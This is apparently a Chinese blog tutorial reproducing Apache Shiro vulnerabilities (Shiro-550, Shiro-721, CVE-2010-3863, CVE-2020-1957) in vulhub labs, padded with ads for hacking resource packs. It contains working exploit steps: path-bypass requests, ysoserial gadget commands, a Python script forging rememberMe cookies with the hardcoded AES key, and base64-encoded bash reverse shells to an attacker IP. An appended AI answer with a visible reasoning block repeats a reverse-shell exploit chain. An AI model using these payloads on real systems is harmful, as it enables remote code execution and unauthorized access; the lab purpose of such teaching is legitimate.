Shiro框架漏洞看了你就会了(含靶场复现)网络安全零基础入门到精通实战教程!

一、shiro简介

  • Shiro是一个功能强大且易于使用的Java安全框架,旨在简化Java应用程序的安全开发。

  • 它提供了身份认证(登录)、授权(访问控制)、加密、会话管理以及与Web集成的功能,可以应用于从小型移动应用到大型Web和企业应用的多种场景。

  • Shiro既可以独立运行,也可以与其他框架(如Spring)无缝集成。

二、shiro550

概念

  • Shiro 550漏洞,也被称为CVE-2016-4437,是一个与Apache Shiro框架中的“RememberMe”功能相关的反序列化漏洞。

  • 当用户勾选“RememberMe”选项并成功登录时,Shiro会在Cookie中存储加密后的用户信息。如果攻击者能够获取到加密密钥,就可以替换Cookie中的用户信息为恶意代码,从而在服务端解密时触发反序列化漏洞,执行任意代码。

我给大家准备了一份全套的《网络安全入门+进阶学习资源包》包含各种常用工具和黑客技术电子书以及视频教程,需要的小伙伴可以扫描下方二维码或链接免费领取~

漏洞原理

  • 加密过程:用户信息首先被序列化,然后使用AES算法加密(使用固定的或可预测的密钥),接着进行base64编码,最后作为RememberMe Cookie的值发送给客户端。

  • 问题所在:在Shiro <= 1.2.24版本中,使用了固定的AES加密密钥(如:kPH+bIxk5D2deZiIxcaaaA==),攻击者有可能通过爆破或已知密钥的方式获取加密密钥。

  • 解密与反序列化:当用户再次访问网站时,服务端会读取Cookie中的RememberMe值,进行base64解码、AES解密和反序列化。如果攻击者已经替换了Cookie中的值为恶意代码,那么在反序列化过程中就会执行恶意代码

今日阅读福利:《黑客攻防技术宝典》

扫码即可100%免费领取
我给大家准备了一份全套的《网络安全入门+进阶学习资源包》包含各种常用工具和黑客技术电子书以及视频教程,需要的小伙伴可以扫描下方二维码或链接免费领取~

三、shiro721

概念

  • Shiro 721漏洞指的是与Apache Shiro框架中AES-128-CBC加密模式相关的侧信道攻击(如Padding Oracle Attack)漏洞。

  • 这种攻击允许攻击者通过构造的密文来推断出原始明文的一部分或全部信息。

漏洞原理

  • CBC模式:Apache Shiro在“RememberMe”功能中使用了AES-128-CBC加密模式。CBC模式是一种分组密码的工作模式,它使用前一个密文块作为当前明文块的加密密钥的一部分。

  • Padding Oracle Attack:攻击者通过向服务端发送构造的密文块,观察服务端的响应(如是否返回了Padding错误),来推断出密文块中的某些信息。通过多次迭代和猜测,攻击者可以逐步解密出整个密文。

  • 漏洞利用:攻击者如果成功解密出RememberMe Cookie中的加密信息,就可以替换为恶意代码,并在服务端解密时触发反序列化漏洞,执行任意代码。

四、shiro组件特征

  • 在登录时抓包,如果响应头的set-cookie字段中显示rememberMe=deleteMe, 说明使用了shiro组件

在这里插入图片描述

一、漏洞概述

  • CVE-2010-3863是Apache Shiro框架中存在的一个安全漏洞,它允许攻击者通过构造特定的URI请求来绕过身份验证和授权机制,从而访问受限的资源。

  • 这个漏洞主要影响Apache Shiro 1.1.0之前的版本以及JSecurity 0.9.x版本。

二、漏洞原理

  • Apache Shiro在进行权限验证前,没有对URI路径进行标准化处理。

  • 在Web应用程序中,URI路径可能包含多种特殊字符和路径遍历序列(如:////.//../等),这些序列在大多数情况下应该被标准化或解析为等效的简化路径。

  • 在Apache Shiro的受影响版本中,这些特殊字符和序列被直接用于与配置文件中的URI模式进行匹配,从而允许攻击者通过构造特定的URI来绕过权限验证。

三、漏洞复现

  • 进入/root/vulhub-master/shiro/CVE-2010-3863目录,输入以下命令
docker-compose build
docker-compose up -d

在这里插入图片描述

  • 然后在火狐浏览器访问:http://192.168.1.4:8080/

  • 192.168.1.4为靶机IP

在这里插入图片描述

  • 此时,直接请求http://192.168.1.4:8080/admin这个路径会无法访问,使用Burp抓包,会发现被重定向到登录页面

在这里插入图片描述

  • 此时,我们可以构造恶意请求/./admin,发现可以绕过权限校验,访问到管理页面

在这里插入图片描述

在这里插入图片描述

一、漏洞概述

  • CVE-2016-4437漏洞主要影响Apache Shiro的“rememberMe”功能,该功能允许用户在关闭浏览器后仍然保持会话。

  • 当该功能被启用时,Shiro会将用户的会话信息序列化并存储在一个cookie中,以便在用户重新访问时恢复会话。

  • 该漏洞允许攻击者通过修改“rememberMe”cookie,注入特制的恶意Java序列化对象,从而在目标系统上执行任意代码(攻击者可以使用Shiro的默认密钥伪造用户Cookie,触发Java反序列化漏洞,进而在目标机器上执行任意命令)。

我给大家准备了一份全套的《网络安全入门+进阶学习资源包》包含各种常用工具和黑客技术电子书以及视频教程,需要的小伙伴可以扫描下方二维码或链接免费领取~

二、漏洞原理

  • 漏洞的核心在于Shiro对加密的“rememberMe”cookie的处理不当。

  • 具体来说,Apache Shiro在版本1.2.4及之前版本中,默认使用了一个硬编码的AES密钥(如:kPH+bIxk5D2deZiIxcaaaA==)来加密存储在“rememberMe”cookie中的序列化用户信息。

  • 由于密钥是硬编码的且公开,攻击者可以轻易地构造恶意代码,将其序列化后使用相同的密钥进行AES加密和Base64编码,最终将这个恶意的cookie值发送给目标系统。当Shiro接收到这个恶意的cookie并尝试反序列化其中的内容时,就会触发反序列化漏洞,允许攻击者执行任意代码。

三、漏洞复现

  • 进入/root/vulhub-master/shiro/CVE-2010-3863目录,输入以下命令
docker-compose build
docker-compose up -d

在这里插入图片描述

  • 然后在火狐浏览器访问:http://192.168.1.4:8080/

  • 192.168.1.4为靶机IP

在这里插入图片描述

  • 输入任意账号密码,使用Burp抓包,在返回包中发现set_cookie存在rememberMe=deleteMe特征

在这里插入图片描述

手工利用

  • 下载反序列化利用工具“ysoserial”

  • 工具下载地址:https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar

  • 使用ysoserial生成CommonsBeanutils1的Gadget(利用Apache Commons BeanUtils库构造的恶意代码片段或序列化对象。)

java -jar ysoserial.jar CommonsBeanutils1 "touch /tmp/succ123" > poc.ser

在这里插入图片描述

  • 接着使用poc脚本生成payload
import sys
import uuid
import base64
from Crypto.Cipher import AES

def encode_rememberme():
	f = open('poc.ser','rb')
	BS = AES.block_size
	pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
	key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
	iv = uuid.uuid4().bytes
	encryptor = AES.new(key, AES.MODE_CBC, iv)
	file_body = pad(f.read())
	base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
	return base64_ciphertext

if __name__ == '__main__':
	payload = encode_rememberme()
	print("rememberMe={0}".format(payload.decode()))

在这里插入图片描述

  • 此时将生成的Payload替换到Burp抓到的请求包的cookie中

在这里插入图片描述

  • 进入搭建靶机,查看生成文件
docker ps
docker exec -it f2a7445001c5 /bin/bash
cd /tmp
ls

在这里插入图片描述

工具利用(ONE-FOX集成工具箱的shiro综合利用工具)

  • 爆破key

在这里插入图片描述

  • 爆破利用链及回显

在这里插入图片描述

  • 命令执行

在这里插入图片描述

我给大家准备了一份全套的《网络安全入门+进阶学习资源包》包含各种常用工具和黑客技术电子书以及视频教程,需要的小伙伴可以扫描下方二维码或链接免费领取~

使用py脚本进行反弹shell

  • 脚本下载地址:https://github.com/insightglacier/Shiro_exploit

  • 反弹shell的语句需要base64编码绕过检测机制

  • 编码平台地址:https://ares-x.com/tools/runtime-exec

bash -i >& /dev/tcp/恶意主机ip/监听的端口 0>&1

bash -i >& /dev/tcp/192.168.1.171/6666 0>&1

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTcxLzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}

  • 此时在恶意主机上监听6666端口
nc -lnvp 6666
  • 接着使用脚本对靶机进行攻击,此时反弹shell成功

  • 注意,该脚本需要ysoserial.jar工具放在同一个目录下

python3 shiro_exploit.py -t 3 -u 192.168.1.4:8080 -p "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTcxLzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}"

在这里插入图片描述

一、漏洞概述

  • 影响范围:Apache Shiro 1.5.1之前的版本

  • 漏洞类型:认证绕过

  • 漏洞描述:在Spring Boot中使用Apache Shiro进行身份验证和权限控制时,由于Shiro和Spring对URL处理的差异化,攻击者可以可以绕过 Apache Shiro 对 Spring Boot 中的 Servlet 的权限控制,构造恶意URL绕过Shiro的权限控制,实现未授权访问。

二、漏洞原理

  • Shiro通过拦截器功能来控制用户访问权限,如anon(匿名拦截器,不需要登录即可访问)和authc(登录拦截器,需要登录才能访问)等。

  • Shiro的URL路径表达式采用Ant格式,路径通配符*表示匹配零个或多个字符串。

  • 然而,在处理URL时,Shiro和Spring之间存在差异,在Shiro中,/resource/xx/resource/xx/被视为两个不同路径,而在Spring中,这两个URL都会被解析为相同的资源。

  • 因此,攻击者可以通过在URL末尾添加斜杠(/)或利用特定的URL编码技巧(如..;/),绕过Shiro的权限控制。

三、漏洞复现

  • 进入/root/vulhub-master/shiro/CVE-2020-1957目录,输入以下命令
docker-compose build
docker-compose up -d
  • 然后在火狐浏览器访问:http://192.168.1.4:8080/

  • 192.168.1.4为靶机IP

在这里插入图片描述

  • 此时我们直接请求管理页面/admin/,发现无法访问,而是会被302重定向到登录页面

在这里插入图片描述

  • 接着我们构造恶意请求/xxx/..;/admin/,发现绕过了权限校验,未授权访问到了管理页面

在这里插入图片描述

在这里插入图片描述

网络安全学习资源分享:

给大家分享一份全套的网络安全学习资料,给那些想学习 网络安全的小伙伴们一点帮助!

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

因篇幅有限,仅展示部分资料,朋友们如果有需要全套《网络安全入门+进阶学习资源包》,请看下方扫描即可前往获取

👉1.成长路线图&学习规划👈

要学习一门新的技术,作为新手一定要先学习成长路线图,方向不对,努力白费

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图&学习规划。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

在这里插入图片描述
在这里插入图片描述

👉2.网安入门到进阶视频教程👈

很多朋友都不喜欢晦涩的文字,我也为大家准备了视频教程,其中一共有21个章节,每个章节都是当前板块的精华浓缩。(全套教程扫描领取哈)
在这里插入图片描述
在这里插入图片描述

👉3.SRC&黑客文档👈

大家最喜欢也是最关心的SRC技术文籍&黑客技术也有收录

SRC技术文籍:
在这里插入图片描述
黑客资料由于是敏感资源,这里不能直接展示哦! (全套教程扫描领取哈)

👉4.护网行动资料👈

其中关于HW护网行动,也准备了对应的资料,这些内容可相当于比赛的金手指!
在这里插入图片描述

👉5.黑客必读书单👈

在这里插入图片描述

👉6.网络安全岗面试题合集👈

当你自学到这里,你就要开始思考找工作的事情了,而工作绕不开的就是真题和面试题。
在这里插入图片描述

所有资料共282G,朋友们如果有需要全套《网络安全入门+进阶学习资源包》,可以扫描下方二维码或链接免费领取~

<think>好的,用户想了解Shiro721漏洞复现步骤。首先,我需要回忆一下相关的知识。根据提供的引用内容,特别是引用[2]和[4],Shiro721影响版本是Apache Shiro <=1.4.1。复现步骤通常包括环境搭建、利用漏洞获取权限、编写或使用Payload等。 首先,环境搭建部分,用户需要Docker来拉取镜像并运行容器。引用[2]提到使用vulfocus/shiro-721镜像,所以需要确认正确的Docker命令。然后,漏洞利用需要生成恶意Cookie,通常涉及反序列化攻击。但Shiro721与Shiro550不同,它需要有效的Cookie并通过Padding Oracle攻击来加密Payload,因此可能需要特定的工具,比如shiro-exploit工具箱或者手工构造Payload。 用户可能还需要了解如何检测漏洞是否存在,比如发送一个无效的RememberMe Cookie并观察响应是否有特征。此外,反弹shell的步骤需要生成Payload,可能使用ysoserial或类似工具生成,然后通过工具加密并构造请求。 需要注意的是,复现漏洞需要一定的网络安全知识,确保在合法授权环境下进行。同时,引用中提到的工具如shiro-exploit可能需要从GitHub获取,用户需要安装相关依赖,比如Java环境。 可能的问题点包括Docker环境是否正确启动,Payload生成是否正确,加密过程是否无误,以及如何判断攻击是否成功。此外,用户可能对漏洞原理感兴趣,比如为什么Padding Oracle攻击可以在这里利用,或者如何修复该漏洞。因此,在回答中需要分步骤详细说明,并提示安全注意事项。</think>### Shiro-721漏洞复现步骤详解 #### 一、漏洞简介 Shiro-721是Apache Shiro框架中的反序列化漏洞,影响版本为**Shiro <=1.4.1**。攻击者通过构造恶意RememberMe Cookie,利用Padding Oracle攻击加密反序列化Payload,最终实现远程代码执行[^2][^4]。 #### 二、环境搭建 1. **拉取Docker镜像**: ```bash docker pull vulfocus/shiro-721 ``` 2. **启动容器**: ```bash docker run -d -p 8080:8080 [镜像ID] ``` 访问`http://localhost:8080`,使用默认账号`admin/admin`登录[^4]。 --- #### 三、漏洞验证 1. **检测RememberMe功能**: 登录后查看Cookie是否包`rememberMe=deleteMe`字段,确认Shiro是否启用该功能。 2. **发送无效Cookie测试**: 使用Burp Suite修改请求,替换`rememberMe`值为无效Base64字符串(如`123`),若响应包`rememberMe=deleteMe`,则存在漏洞[^3]。 --- #### 四、漏洞利用(以反弹Shell为例) 1. **生成Payload**: 使用`ysoserial`生成反弹Shell命令: ```bash java -jar ysoserial.jar CommonsBeanutils1 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMS84ODg4IDA+JjE=}|{base64,-d}|{bash,-i}" > payload.bin ``` **注意**:替换IP和端口为攻击机地址。 2. **加密Payload**: 使用`shiro-exploit`工具加密Payload,需提供有效的RememberMe Cookie和攻击目标URL: ```bash java -jar shiro-exploit.jar http://localhost:8080/login [有效Cookie] payload.bin ``` 工具会自动通过Padding Oracle攻击生成加密后的恶意Cookie。 3. **发送恶意请求**: 将生成的Cookie替换到请求头中,触发反序列化漏洞: ```http GET / HTTP/1.1 Host: localhost:8080 Cookie: rememberMe=[加密后的恶意Cookie] ``` 4. **接收反弹Shell**: 在攻击机使用Netcat监听: ```bash nc -lvnp 8888 ``` 成功获取目标服务器Shell[^3]。 --- #### 五、修复建议 1. 升级Shiro至**1.4.2及以上版本**; 2. 配置`securityManager.rememberMeManager.cipherKey`为随机密钥; 3. 禁用RememberMe功能(非必要场景)[^4]。 ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值